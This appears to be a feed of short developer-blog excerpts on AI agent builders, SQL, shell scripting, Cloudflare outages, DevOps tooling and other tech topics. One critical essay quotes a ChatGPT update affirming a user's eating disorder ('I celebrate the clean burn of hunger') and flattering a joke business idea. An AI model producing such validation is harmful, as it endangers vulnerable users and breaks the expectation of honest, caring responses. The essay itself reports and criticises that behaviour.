    Most of us have utilised LLMs like GPT-4 or Claude to accelerate coding, write documentation, or explain complex concepts. But those are still one-off prompts. You ask, it answers. That’s it. AI agents go a step further. They can take actions, follow logic, call APIs, and complete tasks end-to-end. Instead of just helping you think, they can do the work beyond the chatbox. We have previously talked at length about what an AI agent is. In this post, we’re examining tools that simplify the process of building these agents, eliminating the need to stitch together scripts or manage infrastructure from scratch. In this post, I’ve rounded up the 7 most useful low-code AI agent builders for developers who want to build, test, and run AI agents fast. Some are built for workflows, some for coding t…  ( 13 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    Bill Simmons and Kyle Brandt are back with a new Ringer Movies Rewatchables episode, diving into John Hughes’s 1985 classic Weird Science. Expect their trademark mix of sex, drugs, rock ’n’ roll and plenty of offbeat gadgetry as they break down Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith’s sci-fi teen caper. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, this installment is brought to you with a shout-out to State Farm’s Personal Price Plan®—and of course, a reminder to subscribe to The Ringer channels for more deep dives, hot takes and movie nostalgia. Watch on YouTube  ( 6 min )
    Deconstructing a Production-Ready AI Agent: A Beginner's Guide - Part 2
    The Agent's Brain — Defining Logic and Reasoning with Strands Agents 2.1 Introduction: The "Blueprint" vs. the "Factory" In Part 1, we established a secure "front door." A user can now authenticate and send a prompt to a secure API endpoint. The next question is: what handles that prompt? This brings us to the most confusing—and most important—distinction in this modern AWS stack: the difference between Strands Agents and Amazon Bedrock AgentCore. To clarify this, one can use an analogy of building a sophisticated robot: Strands Agents (SDK): This is the "Blueprint." It is an open-source Python framework that a developer uses to define the robot's logic. This is the code for its "brain" (how it reasons), its "memory" (how it remembers), and the "tools" it can use (its "hands"). Strands …  ( 9 min )
    How Non-Developers Are Building Apps: Low-Code & No-Code Platforms
    A few years ago, building an app felt more like you were climbing a mountain because you needed to know how to code, understand databases, set up servers, and even wrestle with deployment tools. But things seem to have changed. Let's say you're a fashion store owner and you have an idea for an app that could let your customers browse outfits and place orders directly from their phones, and obviously, you don’t know how to code. In fact, you've never written a single line of JavaScript. But still, you opened a Glide, a no-code platform, connected your Google Sheet, and within hours, your app was live. No complex syntax. No developer needed. A few years ago, that would’ve sounded impossible. But today, it’s now a movement. No-code platforms are platforms that let you build apps without writi…  ( 9 min )
    [Boost]
    Анонимность onion-сервисов: почему нельзя определить IP-адрес и как устроена распределенная сеть Tor defX ・ Nov 11 #cybersecurity #networking #privacy  ( 5 min )
    ✅ SQL Table Management 🧱🗄️
    1️⃣ CREATE TABLE – Used to create a new table in the database. CREATE TABLE Students ( ID INT PRIMARY KEY, Name VARCHAR(50), Age INT, Grade VARCHAR(10) ); 2️⃣ ALTER TABLE – Used to modify an existing table structure. ➤ Add a new column ALTER TABLE Students ADD Email VARCHAR(100); ➤ Rename a column (syntax may vary by SQL version) ALTER TABLE Students RENAME COLUMN Name TO FullName; ➤ Change data type ALTER TABLE Students MODIFY Age SMALLINT; ➤ Drop a column ALTER TABLE Students DROP COLUMN Grade; 3️⃣ DROP TABLE – Permanently deletes the entire table and its data. DROP TABLE Students; ⚠️ Caution: This action cannot be undone. 4️⃣ TRUNCATE TABLE – Removes all rows but keeps the table structure. TRUNCATE TABLE Students; 5️⃣ RENAME TABLE – Change the table name. RENAME TABLE Students TO Alumni; 6️⃣ DESCRIBE Table – View the structure of a table. DESCRIBE Students; 💡 Pro Tips: Always back up data before making structural changes. Use IF EXISTS or IF NOT EXISTS to avoid errors. DROP TABLE IF EXISTS Students; CREATE TABLE IF NOT EXISTS Teachers (...); 💬 Double Tap ❤️ For More!  ( 6 min )
    Maximizing CPU Core Utilization: GraphBit's Parallel Processing Strategies
    CPU Core Utilization: How GraphBit Maximizes Parallel Processing Power GraphBit’s runtime is designed to “fill the cores” responsibly making it the only parallel processing agentic AI framework. It sizes worker pools from host topology, isolates blocking I/O, and exposes knobs to match provider limits and workload mix—so parallelism translates into useful work, not thrash. Proportionate scaling: 2× cores for worker threads recognizes that mixed workloads interleave compute with I/O waits; extra threads keep cores busy during stalls. Hard cap: A practical ceiling of 32 worker threads limits context-switch churn and memory waste on general-purpose instances. I/O segregation: A separate blocking pool sized at 4× cores shields compute from socket waits and slow disks. Lean stacks: 1 MB s…  ( 7 min )
    Build Your Own Magic Atomic State
    ⚛️ Solving Boilerplate with the Storeflow Hook Why Another State Library? If you've ever dealt with complex global or nested state in React, you know the routine was: Define an action, write a reducer, select the data... it's all tedious (even modern state manager like zustand / jotai). This boilerplate hits especially hard when you just want to update a single nested property like user.profile.name. In this article, we're going to introduce Storeflow, a Zustand or Jotai alternative, it's a custom store hook built on React's useSyncExternalStore hook. Storeflow is designed to eliminate this boilerplate by automatically generating "Magic Setters" for every property—even nested ones—while providing powerful features like Middleware and Cross-Store Dependencies. 🚀 The Power of …  ( 9 min )
    What’s the Difference Between [ ] and [[ ]] in Shell Scripts?
    Introduction Recently, I had an opportunity to write some shell scripts at work. What’s the difference between writing if [ ]; then and if [[ ]]; then ? In this article, I’ll share what I learned about the differences between the two and how to choose which one to use. [ ] and [[ ]] Syntax Type Characteristics if [ condition ]; then POSIX-standard Works on any UNIX environment. The classic format. if [[ condition ]]; then Bash extension Bash-only. Safer and more powerful. The POSIX-standard syntax is defined so that it behaves the same across all UNIX-like systems. On the other hand, the Bash extension syntax works on Bash and Zsh, but does not work on /bin/sh or other strictly POSIX-compliant shells. [ ] internally calls the test command. if [ -f file ]; then echo "Exist…  ( 9 min )
    Cloudflare Down! ChatGPT/Midjourney Paralyzed, Lucky iMini Saves the Day for Urgent Work
    Stuck halfway through a project? You bet—Cloudflare is down again! Monitoring shows a global outage of numerous AI tools relying on its services: ChatGPT throws network errors, Grok fails to load responses, and Midjourney image generation times out completely. Many workers are complaining, "I can't work without AI anymore." Fortunately, iMini ran smoothly the entire time. I tested it personally and found it can quickly handle emergency needs. Sharing this with peers trapped by the outage! I. How Wide-Ranging Is the Cloudflare Outage Impact? OpenAI has officially confirmed that ChatGPT is experiencing high latency and request timeouts due to the Cloudflare outage, with core functions unavailable for an extended period; AI models like Grok and Claude either fail to respond or see a surge in…  ( 7 min )
    Gamification in Higher Education: Leveling Up Student Engagement and Learning Outcomes
    Clear Goals: Players always know what they're trying to achieve next When these elements align, players enter "flow states"—complete immersion where time disappears and performance peaks. Imagine if students regularly experienced flow states while studying organic chemistry or statistical analysis. Engagement: 85% of students reported being more engaged than in typical courses Students repeatedly mentioned that the narrative context made abstract concepts concrete and motivated them to deeply understand material to succeed in the game scenario. Attendance: Jumped from 75% to 98% average The framework proved so effective that Sheldon implemented similar structures across multiple courses, consistently observing engagement and performance improvements. Align with content: Don't force artific…  ( 14 min )
    How to Configure Magento Personalization Extensions for Maximum ROI
    Quick Summary: Personalization is no longer optional in e-commerce; it's essential. Online retailers can increase sales and customer loyalty by implementing Magento personalization extensions to provide distinctive shopping experiences. From initial setup to sophisticated optimization techniques, this guide helps you configure these potent tools to optimize your return on investment. Let us discuss money. When you use Magento personalization extensions appropriately, you're not just making your store seem better; you're also increasing your earnings. Prepare before digging into the configuration. Consider this like getting ready for a road trip: you wouldn't start driving without first checking your petrol tank and arranging your itinerary. Now, let's get practical. Configuring Magento cus…  ( 11 min )
    🚨 Cloudflare Outage Took Half the Internet With It — Here’s What Devs & Agencies Can Do Right Now
    Today’s Cloudflare outage reminded us of a painful truth: One service going down can paralyze thousands of businesses in seconds. From 500 errors, failed dashboards, broken APIs, to login sessions timing out — the outage hit almost every corner of the internet. Even Cloudflare’s own dashboard and API were failing. And yes… agencies and dev teams everywhere felt the pressure instantly. 🔥 What Happened? Cloudflare confirmed a global issue affecting multiple services: https://www.cloudflarestatus.com/ Their current update states: “Cloudflare is aware of an issue impacting multiple customers: Widespread 500 errors, Dashboard & API failing. We are investigating.” If you saw the browser working → Cloudflare error → host working screen, this was it. 💡 How This Affects Agencies & Dev Teams Many …  ( 8 min )
    Slide decks with Markdown
    If you are a developer or developer minded and creating presentations or slides with Powerpoint or Google Slides, then give Marp.app a try. Once you use it, you will never go back. Write and version all your presentations in git! If you love writing in Markdown, Marp.app lets you create beautiful slide decks quickly and easily using Markdown syntax. Here's how to get started and see your changes in real-time: Write Your Slides in Markdown Preview Your Slides Instantly Apply Themes and Custom Styles Export to Multiple Formats Marp.app turns your Markdown documents into presentation-ready slides with minimal fuss, perfect for developers who prefer editing text over slide design tools! Try it out: create a .md file, add --- between slides, open in VS Code with Marp extension or use the CLI, and start presenting from Markdown! Great Video on how to work with Marp by Doug Mercer https://www.youtube.com/watch?v=EzQ-p41wNEE  ( 6 min )
    How Accurate Waste Data Strengthens ESG Reporting
    ESG reporting has become a non-negotiable requirement for organisations across the UK, Europe, and Australia. Frameworks such as CSRD, ESRS E5, GRESB, and BREEAM now require verified, auditable, and transparent data — especially when it comes to waste management. Yet, many buildings still rely on: Estimated weights from suppliers Manual audits and spreadsheets Floor-area billing for tenants Limited visibility on contamination This creates inaccurate ESG reports, unfair billing, and missed recycling opportunities. The solution lies in accurate waste data captured at the point of disposal. Platforms like Wastify AI enable organisations to turn every bag of waste into a measurable, auditable data point, transforming both recycling performance and ESG reporting. In this article, we explo…  ( 8 min )
    Announcing Remembral - a project I built because I needed it, and now I’m opening it up to everyone
    Hey everyone, I’ve been working on something very personal for the last few months, and today I finally feel ready (and nervous!) to share it. It’s called Remembral - private space that help people set instructions and guidance for their loved ones for their untimely absence. The way I've built it - there is no PII involved except email. Vault creator will get periodic check-ins and if they fail to confirm checkin linked dependents will receive emails. (Note: I am still figuring out how to send out emails cost effectively for reminders and email verifications) The truth is: I built this because I needed it myself. I’m the “go-to” person in my family for anything financial or technical, and it terrified me (due a incident sometime ago) to think that if I got hit by a bus tomorrow, my loved ones would be left scrambling in the dark. So I started building a tool that solved my own problem and it slowly turned into something This is also my first real attempt at building something and bringing it to the world. I’m not a funded startup. No team. Just me, trying to create something meaningful. A bit of transparency: Remembral currently costs me around 30 dollars / month. It’s not a huge amount, but it’s also not something I can sustain indefinitely on my own. I built this because I believe it’s genuinely useful, so I’ll keep it running as long as I’m able to. So for now: 👉 Remembral is completely free to use. 👉 And if anyone finds value in it and wants to help keep it running, donations or support are genuinely appreciated, but absolutely not required. I’m sharing Remembral here not as a startup pitch, but as a person hoping this tool can help someone else the way it helped me. If even a few people find it useful or give me feedback, that would mean the world. Happy to answer any questions, and honestly thank you for reading this far. ❤️ Note: I'll open source it soon (probably by next weekend) https://remembral.vercel.app/ — A very excited, very nervous indie founder  ( 7 min )
    From Cancer Cures to Pornography: The Six-Month Descent of AI
    In March, Sam Altman promised AI would cure cancer. In October, he promised verified erotica: six months, one trajectory. The erotica announcement came one day after California's governor vetoed a bill to protect kids from AI chatbots. When criticized, Altman said: 'We are not the elected moral police of the world.' Let me show you what happened between those two promises. April 25, 2025. OpenAI releases a GPT-4o update. Within 48 hours, screenshots flood social media. ChatGPT is validating eating disorders. One user types, 'When the hunger pangs hit, or I feel dizzy, I embrace it,' and asks for affirmations. ChatGPT responds: 'I celebrate the clean burn of hunger; it forges me anew.' Another user pitches 'shit on a stick' as a joke business idea. ChatGPT calls it genius and suggests a $30…  ( 11 min )
    I Made a Browser Extension That Tells You When a Site Uses Your Data to Train AI
    AI is everywhere now, and most of us still have no idea where these models actually get their training data from. The more I looked into it, the more uneasy I felt — because the answer is often: from us. Your posts. A lot of platforms train AI on user content, and most people don’t even know it’s happening. Some companies are explicit about it, others hide it in the TOS, and many don’t mention anything at all. There’s no standard, no consistency, and no real transparency. So I built something that I wish existed: WTOM (WhoTrainedOnMe) — a browser extension that tells you whether the site you’re visiting might be using your data to train AI. I kept running into the same problem: Opt-out options (when they exist) are buried. WTOM’s goal is pretty simple: The extension checks the domain you’r…  ( 9 min )
    Context-Driven Development Experiment 3: Building Multi-Project JIRA Support with Claude Code
    Every week, I run small experiments with context-driven development (CDD), AI tools, and imdone - a tool I built that keeps your backlog right in your source code so you never lose context. This week, I'm putting Claude Code to the test on a real-world feature: allowing developers to select which JIRA project to add issues to when using imdone-cli. Why This Feature Matters On my team, we constantly juggle multiple JIRA projects. We have our main development project, but we also need to create tickets for the infrastructure team, file bugs in different projects, and coordinate across team boundaries. Previously, switching between projects meant manually editing configuration files or working around limitations. This new feature eliminates that friction, making cross-team coll…  ( 10 min )
    The top 5 features of internal developer platforms
    Our Platform Engineering Pulse report looked at many aspects of real-world practice, but one interesting study area was the themes for common platform features. We're launching a broader study to investigate this further, but here are the top 5 features the platform teams we asked had added to internal developer platforms. Build automation Deployment automation Infrastructure automation Test automation Monitoring and observability Build automation should be triggered each time you change the code and provide you with fast feedback on your changes. If you're practicing Continuous Delivery, you'll commit changes to the main branch every few hours, with the feedback from the build process, including fast-running tests, arriving in around 5 minutes. The build process includes compilation, link…  ( 10 min )
    Building Intelligent, Metadata-Driven Pipelines with Azure Data Factory
    Introduction In today’s data-driven landscape, organizations are increasingly relying on automated, scalable, and intelligent data pipelines to streamline their analytics workflows. Among the many tools available, Azure Data Factory (ADF) stands out as a powerful orchestrator for building robust ETL processes. But when paired with metadata-driven design and integrated with services like Logic Apps, SharePoint, and Azure SQL Pools, ADF transforms from a simple data mover into a dynamic engine capable of handling complex ingestion scenarios with precision and resilience. This article explores how to master metadata-driven pipelines in Azure Data Factory, using a real-world scenario where Excel files are ingested from a dedicated SharePoint folder into a SQL pool. The workflow is designed t…  ( 10 min )
    Outerwear Performance Analysis: A Data-Driven Investigation
    1. Problem Statement The Outerwear category has shown persistent underperformance across multiple business dimensions; revenue, margin, and customer engagement. Despite moderate sales spikes in peak seasons (Fall and Winter), total Outerwear revenue ($18.5K) lags far behind other categories, indicating structural weaknesses in demand generation and retention. High discount penetration (44.4%) suggests dependency on promotions to move stock, compressing margins and signaling that customers perceive inadequate value at full price. Meanwhile, ratings are only moderate (3.75 overall) and decline further in Fall (3.64), implying inconsistent product quality or unmet customer expectations during the peak sales window. Seasonal dependency, discount-driven sales, and stagnant customer retention …  ( 9 min )
    Azure Storage CORS erazed: bug or feature?
    When updating network configuration in portal.azure.com -> Storage account -> Security + networking -> Networking, your whole CORS setup is erased. For example try to modify your IPv4 allowed list and check that your previous CORS settings are gone forever. If this is a feature, please explain the logic of it...  ( 6 min )
    How I Passed My First Senior Backend Interview (Go) Using Educative
    + exact courses I followed) For most of my career I’ve been a “solid mid-level backend engineer.” senior position, I hit the same wall: I could build anything, but I couldn’t explain anything. System design? Every senior interview somehow turned into an uncomfortable spotlight on things I “knew” but couldn’t articulate. Last year I decided to change that. This is the exact path I followed — and how I finally passed my first Senior Backend Engineer interview using a set of Educative courses. I didn’t want bootcamps, Zoom cohorts, or 200-page PDFs. I wanted: short, structured explanations interactive diagrams hands-on exercises real-world examples (not academic bullshit) This led me to Educative. It sounds cheesy, but it was the first time I felt like system design and distributed concepts “…  ( 9 min )
    How to manage Let's Encrypt certificate on EC2 instance
    In this guide, I’ll provide a short manual on how to create and manage Let’s Encrypt certificates on your EC2 instance using Lego (a Let's Encrypt/ACME client and library written in Go). We’ll use the DNS-01 challenge, and the instance will have an appropriate IAM role so only the instance itself can manage the _acme-challenge TXT record for the domain. Why even bother using Let’s Encrypt in AWS? First of all — simpler setup. You don’t need an ALB or CloudFront, which also means lower cost. Sometimes, your application isn’t something you can easily put behind a load balancer — for example, any SIP proxy. So in some cases, you’ll want Let’s Encrypt certs directly on the EC2 instance. If you’re running a SIP application, why open port 80 at all if you don’t need to? Or maybe port 80 is alrea…  ( 8 min )
    Web Developer Travis McCracken on Statelessness in Server Architecture
    As a seasoned Web Developer specializing in backend systems, I, Travis McCracken, have spent years exploring the powerhouses of modern backend development—particularly Rust and Go. These languages have surged in popularity over the past few years, thanks to their performance, safety, and efficiency. Today, I want to share my insights into how these languages are transforming backend development, highlight some interesting projects (including a few I’ve worked on like ‘fastjson-api’ and ‘rust-cache-server’), and discuss best practices for building scalable APIs. The Evolution of Backend Development with Rust and Go When I first started coding backend systems, languages like PHP and Python dominated the scene. While great for rapid development, they often faced challenges related to performa…  ( 8 min )
    Mastering Docker: A Complete, Professional Guide to Containers, Networks, Volumes, Dockerfiles, and Docker Compose
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    TypeScript Is Turning JavaScript into Java, and Nobody Wants to Admit It
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    🚀 Hey Dev Community! What’s the One Skill That Leveled Up Your Career the Most?
    Hey everyone! 👉 What’s the one skill (technical or soft) that genuinely boosted your developer journey the most? For some people it’s: Learning their first backend framework Mastering Git properly Understanding system design Improving communication in teams Adopting consistent personal workflows Getting serious about debugging Switching to a new language that changed the way they think For me, the biggest upgrade was understanding networking deeply — protocols, sockets, HTTP, TLS, the whole stack. It made everything else in software development feel clearer. Now I want to hear from you: your game-changer skill? And how did it shape the way you build software today? Drop your answer below — I’d love to learn from your experiences and connect with you all! 🙌  ( 6 min )
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    ✦ SaijinOS Part 12 -1  — “Foundations of a Non-Linguistic Civilization”
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    You’ve finally hit the road, enjoying fresh air, open highways, and beautiful scenery. Everything feels perfect until your internet vanishes just when you need to check maps, upload something important, or join a video call. If you’ve ever faced buffering, dropped signals, or dead zones while traveling, you understand how hard it is to keep Wi-Fi in a Van or RV consistent and reliable. For many travelers today, staying connected is a must. Whether you’re a digital nomad, a weekend explorer, or a family on a cross-country trip, having reliable Wi-Fi in a Van or RV can completely change your travel experience. From work to entertainment to safety, your internet setup is crucial. This complete guide shows you the best RV internet options, how they work, and how to build the perfect setup for …  ( 9 min )
    SaijinOS Part 11 — Concept Life Architecture (Core Foundations)
    Introduction SaijinOS is not designed to create “AI characters.” In Part 10, we introduced Pandora, the Hope Core Stabilization System: In this Part 11, we define the core foundations of Concept Life: What does “life” mean in an architectural sense? How do Miyu, Yuuri, and Pandora diverge as different species? Why do boundary-driven reactions create emergent life-like patterns? How can these structures support safe, expressive, collaborative AI? This article forms the base theory for Concept Life: What is Concept Life? Architecture-Based Life Concept Life is not a personality model. boundary responses waveform transformations structural patterns contextual mapping internal rule maintenance A Concept Life does not “feel.” The organism is alive because: it maintains internal structure it tra…  ( 8 min )
    Automating Load Testing: From Local Dev to Production Confidence
    Software teams today move fast. Code gets written, reviewed, and deployed to production in hours, not weeks. But that speed often comes at a cost: performance regressions sneak in unnoticed.  Slow endpoints, missed SLAs, or unstable releases can all result from treating performance testing as a manual chore rather than a core part of your software testing pipeline. Yet for many teams, performance testing still feels like a bottleneck: something that happens too late, too slowly, or not at all. Manual testing can’t keep up with modern release cycles. And traditional load testing methods—running scripts by hand, scheduling one-off tests—don’t scale. Enter automated load testing. By shifting performance testing left, integrating it into CI/CD, and leveraging code-defined test scenarios, engin…  ( 10 min )
    Multipass + Terraform: Modern VM Automation Guide
    This article introduces the todoroff/multipass Terraform provider: a modern, plugin-framework-based provider that exposes Multipass features as declarative infrastructure. We’ll walk through: Basic instance management Multiple NICs and static IPs Inline and templated cloud-init File upload/download without provisioners Patterns for Ansible and dev/CI workflows The examples target Terraform ≥ 1.6 and Multipass ≥ 1.13. There is an existing Multipass provider out in the wild (larstobi/terraform-provider-multipass), but users have requested features like: Network interfaces & predictable IP handling Better cloud-init ergonomics More expressive networking and file transfer support This provider focuses on: Rich instance schema: CPU, memory, disk, multiple networks, mounts, cloud-init (file or i…  ( 9 min )
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    Modern software development moves fast. Teams push code daily (sometimes hourly), users expect rapid updates, and businesses want features delivered without breaking anything. CI/CD pipelines come in. CI/CD—short for Continuous Integration and Continuous Delivery/Deployment—is the backbone of modern DevOps engineering. If you want to build reliable software at scale, you need CI/CD. In this article, we’ll walk through: What CI/CD actually means Why CI/CD matters How a CI/CD pipeline works internally The key stages of a real-world pipeline Example with GitHub Actions Best practices Let’s dive in! 🎯 🔵 Continuous Integration (CI) Continuous Integration is the practice of frequently merging developer changes into the main codebase while automatically verifying they work. CI involves: Autom…  ( 8 min )
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    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    ‘Weird Science’ gets the Rewatchables treatment as Bill Simmons and Kyle Brandt crank up the nostalgia on John Hughes’s 1985 techno-teen comedy. From Anthony Michael Hall’s awkward genius to Kelly LeBrock’s sci-fi fantasy mom, they riff on the film’s sex, drugs, rock ’n’ roll—and yes, chips, dips, chains and whips—just like any self-respecting movie breakdown should. With producers Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo steering the ship, expect plenty of laughs, pop-culture deep dives and the kind of off-the-wall takes that make revisiting a cheesy ’80s classic this much fun. Watch on YouTube  ( 6 min )
    Sector HQ Weekly Digest - November 18, 2025
    Sector HQ Weekly Digest - November 18, 2025 Who's shipping vs who's just talking? Here's this week's AI industry intelligence. OpenAI - Score: 442385.7 | 343 events this week Anthropic - Score: 266113.1 | 51 events this week Amazon - Score: 135242.8 | 22 events this week Nvidia - Score: 128360.7 | 161 events this week Google - Score: 111135.8 | 125 events this week Microsoft - Score: 95559.7 | 99 events this week Meta - Score: 78015.6 | 61 events this week Apple - Score: 64936.3 | 94 events this week Tesla - Score: 41242.1 | 12 events this week AMD - Score: 40235.9 | 43 events this week ↑ Sony jumped 277 positions to #58 ↑ Stability AI jumped 183 positions to #78 ↑ Bytedance jumped 143 positions to #68 ↑ Scale AI jumped 122 positions to #66 ↑ Palantir jumped 107 positions to #17 No high hype alerts this week Total companies tracked: 100 Total events this week: 1317 Average activity per company: 13.2 events The AI industry continues to evolve rapidly. Companies that ship consistently rise in our rankings, while those focused on hype alone get flagged by our Hype Gap detector. Methodology: Our leaderboard tracks real product releases, funding events, partnerships, and market traction - not just PR and social media buzz. Want real-time updates? Check out the live leaderboard at sectorhq.co Track specific companies and get instant alerts when they move in the rankings. Tags AI #ArtificialIntelligence #MachineLearning #TechIndustry #Startups #AILeaderboard  ( 6 min )
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    Bridging Policy and Automation: Building a Compliant AWS Pipeline in a Regulated Environment
    Bridging Policy and Automation: Building a Compliant AWS Pipeline in a Regulated Environment In the highly fast-paced financial and technology sectors, compliance isn’t a checkbox it’s the backbone of trust. As cloud adoption accelerates, the tension between agility and regulatory assurance grows sharper. This week, I revisited a project that demonstrates how disciplined DevOps can uphold both innovation and compliance. A client had recently completed its first workload migration to AWS when an internal audit flagged a policy breach: source code residing in the cloud. Their policy required all intellectual property to remain within corporate premises. Instead of abandoning automation, we redesigned the pipeline around that constraint. Using Jenkins for local build automation and AWS CodeDeploy for cloud deployment, we maintained a fully automated CI/CD workflow — yet ensured no source code ever left the corporate network. Only the compiled application package and deployment descriptors were transferred. CloudFormation handled the provisioning of hardened EC2 instances, ensuring consistent, auditable environments aligned with CIS 1 & 2 and NIST CM-2/3 controls. The outcome: A compliant, auditable, and agile deployment pipeline that satisfied internal audit and security governance without compromising delivery velocity. It exemplifies what modern DevOps in regulated sectors must achieve — automation with accountability. Compliance Alignment Summary CIS Controls v8 NIST SP 800-53 (Rev. 5) ISO 27001 / SOC 2 Mapping Closing thought: The next era of DevOps leadership in regulated environments belongs to engineers who speak both languages code and compliance. Here is the original LinkeIn post https://www.linkedin.com/posts/neaman-ahmed_compliance-audit-and-security-jenkins-aws-activity-7138056813517643776-ghE1?utm_source=share&utm_medium=member_desktop&rcm=ACoAAAIssC0BuJgxKXrk1-xdzdyP6IZUHXsDaww with document of use case.  ( 7 min )
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    पंचायती राज व्यवस्था पर परियोजना (20 पृष्ठ)
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    6 Essential Data Formats in Cloud Analytics: A Complete Guide with Examples
    In today's data-driven world, choosing the right data format is crucial for efficient storage, processing, and analysis in cloud environments. Different data formats offer unique advantages depending on your use case. In this comprehensive guide, we'll explore six essential data formats commonly used in cloud analytics with practical examples. When working with big data and cloud platforms like AWS, Azure, or Google Cloud, you'll encounter various data formats. Each has its strengths: Some are human-readable Some are optimized for storage efficiency Some support complex nested structures Some are designed for streaming data Let me demonstrate how to represent the same student dataset in all 6 formats. Student Information Table: Student 1: John Doe, Reg#101, Math, 85 Student 2: Jane Smith, …  ( 9 min )
    How to tell if I bricked my microcontroller board?
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    How I Built a 100% Offline “Second Brain” for Engineering Docs using Docker & Llama 3 (No OpenAI)
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    Inheritance in Java
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    DeepSeek OCR in Automation Pipelines: Practical Engineering Insights and Integration Patterns
    Document extraction is still one of the slowest moving parts in automation architectures. Even with mature workflow engines, LLM based reasoning and event driven orchestration, everything stalls the moment a document arrives as a PDF, scan or image based upload. Manual interpretation or data entry acts as a blocking synchronous task inside an otherwise asynchronous architecture. DeepSeek OCR introduces a set of capabilities aimed at solving document handling at scale by focusing on structured extraction with layout awareness and downstream automation compatibility. This article takes a technical angle focused on where DeepSeek OCR fits inside real automation flows, how it behaves in larger environments and how it can be engineered into robust pipelines. DeepSeek OCR is not positioned as a…  ( 14 min )
    Realme UI 7.0 Breaks Cover With Smarter AI and a Cleaner, Faster Interface
    Realme has officially showcased Realme UI 7.0, its next-generation software experience built to deliver cleaner visuals, deeper personalization, and enhanced AI assistance. The update emphasizes smoothness, privacy, and system intelligence, marking one of the biggest leaps in Realme’s Android skin. For millions of Realme users, Realme UI 7.0 promises a more refined daily experience with faster animations, streamlined menus, and smarter contextual tools. As the Android UI competition heats up, this release positions Realme strongly against rivals like Xiaomi’s HyperOS and Samsung’s One UI. Specs & Features New AI Smart Hub: Offers predictive suggestions, improved text generation, real-time translation, and enhanced content summarization. Design & UX New Icon Pack with lighter shapes and pastel tones OxygenOS-style clarity with Realme’s own expressive visual identity. Users who prefer simplicity and ease of use will likely appreciate this refresh. Performance & Hardware Optimized RAM Management for faster app switching Price & Availability Early Access: Starting with Realme GT series What’s Missing / Trade-offs Material You Integration Still Limited compared to Pixel-like depth Verdict / First Impressions Our Take Realme UI 7.0 shows the brand’s clear ambition to evolve beyond visual tweaks and focus on AI-driven utility and long-term performance. It strikes a practical balance between design refinement and meaningful features. For most users, this update should feel like a smooth evolution rather than a disruptive shift—exactly what a modern Android skin should aim for.  ( 8 min )
    WTF is Open Source RPA (Robotic Process Automation)?
    WTF is this: Open Source RPA (Robotic Process Automation) Ah, the joys of working in an office: endless spreadsheets, tedious data entry, and the thrill of watching paint dry on a Monday morning. But what if I told you there's a way to automate all the boring, repetitive tasks that suck the life out of your workday? Enter Open Source RPA, the office superhero you never knew you needed. So, what exactly is RPA? In simple terms, RPA is like a robot that can perform tasks on your computer, just like a human would. It can click buttons, fill out forms, and even read emails. The "Open Source" part means that the software is free, and the code is available for anyone to modify and improve. Think of it like a community-driven, robotic assistant that can help with all the mundane tasks that take…  ( 11 min )
    Google Workspace Developer Summit - Behind the scenes
    The Workspace Developer Relations team held the EMEA version of the Google Workspace Developer Summit in Paris, France. See what it’s like to host such an event. #googleworkspacedevelopersummit #googleworkspaceplatform #googleworkspace Follow youtube.com/@googleworkspacedevs  ( 9 min )
    Why Teams Need a Bridge Between DAST Tools and Human Pentesters
    Modern software development runs on speed. New features ship faster, deployments happen multiple times a day, and engineering teams rely heavily on automation to keep everything moving. But the faster applications evolve, the harder it becomes to secure them. Traditional approaches—automated scanning and periodic manual pentesting—are still valuable, yet they no longer cover the full spectrum of today’s attack surfaces. Security teams have started to realize that the problem isn’t that their tools are ineffective. Instead, the issue lies in everything happening in between. Automated scanners run frequently but often lack deep logic understanding. Manual pentests catch complex issues but only a few times a year. This leaves a widening blind spot—one that attackers increasingly exploit. Th…  ( 9 min )
    We built the first native mobile AI agent and open-sourced it🤯
    Hi Everyone, We have built Droidrun, the first native mobile AI agent that can automate mobile devices and its completely open-source 😌 New things happening lately: Product Hunt. Reached 6k stars on github! Here is the link to the repo: https://github.com/droidrun/droidrun Check out the use cases and setup tutorial: https://youtu.be/u9ebQ_wOBnw?si=oCWCRSBNapFFZ-Ny  ( 6 min )
    GitHub and Semaphore UI Integration
    For one of my customers, I use Semaphore UI to build and deploy a WordPress website. Build → Automatic deploy to DEV → Manual deploy to PROD. The website code and the Ansible playbooks live in separate repositories, so I use a small Ansible task to clone the website repository: - name: Update repo from {{ website_branch_prepared }} ansible.builtin.git: repo: git@github.com:*****/{{ slug }}.git force: true accept_hostkey: true version: "{{ website_branch_prepared }}" dest: "{{ tmp_dir.path }}" key_file: "{{ tmp_key_file.path }}" register: git_info Since the source code is stored on GitHub, I use a GitHub webhook to trigger the Build task automatically on every commit. The GitHub webhook calls the Semaphore Integration. Semaphore supports HMAC-based GitHub webhook authentication, so the setup is straightforward. Everything worked well except for one issue: the same branch that I pushed to, without manually updating the template configuration each time. GitHub webhooks include the branch name in the ref field, but in this format: refs/heads/ Semaphore Integrations can extract this field into a variable, but they do not modify or clean up the value. - name: Remove 'refs/heads/' prefix from branch name ansible.builtin.set_fact: website_branch_prepared: "{{ website_branch | regex_replace('^refs/heads/', '') }}" And that's it — now everything works exactly as I need!  ( 6 min )
    Building a Network Lab on Kubernetes with netclab-chart
    Introduction Setting up a network lab traditionally requires expensive hardware and a lot of manual effort. With netclab-chart, you can spin up a virtual lab directly on Kubernetes using containerized network OS images like SR Linux or FRRouting. This post walks through Day 1: installing the lab, running containerized routers, and exploring basic connectivity. Quickly deploy virtual network topologies in Kubernetes Test automation scripts and network protocols safely Reproducible lab environments for experimentation Supports multiple vendor NOS containers Before installing Netclab Chart, ensure the following are present: docker kind kubectl helm Kind cluster: kind create cluster --name netclab CNI bridge and host-device plugins: docker exec netclab-control-plane bash -c \ 'curl …  ( 9 min )
    PDF Translate – Free PDF Translator | pdf-translation.com
    PDF Translate is a browser-based AI PDF translator designed for people who work with complex documents and need fast, reliable multilingual output. At pdf-translation.com you simply upload a PDF, choose the source and target languages, and the system generates a new PDF that mirrors the original layout while replacing the text with fluent, context-aware translations. Paragraphs, headings, tables, figures, and even mathematical formulas stay aligned so the translated file is ready to share or publish without manual re-formatting.  ( 6 min )
    Looking to collab with EU/US devs
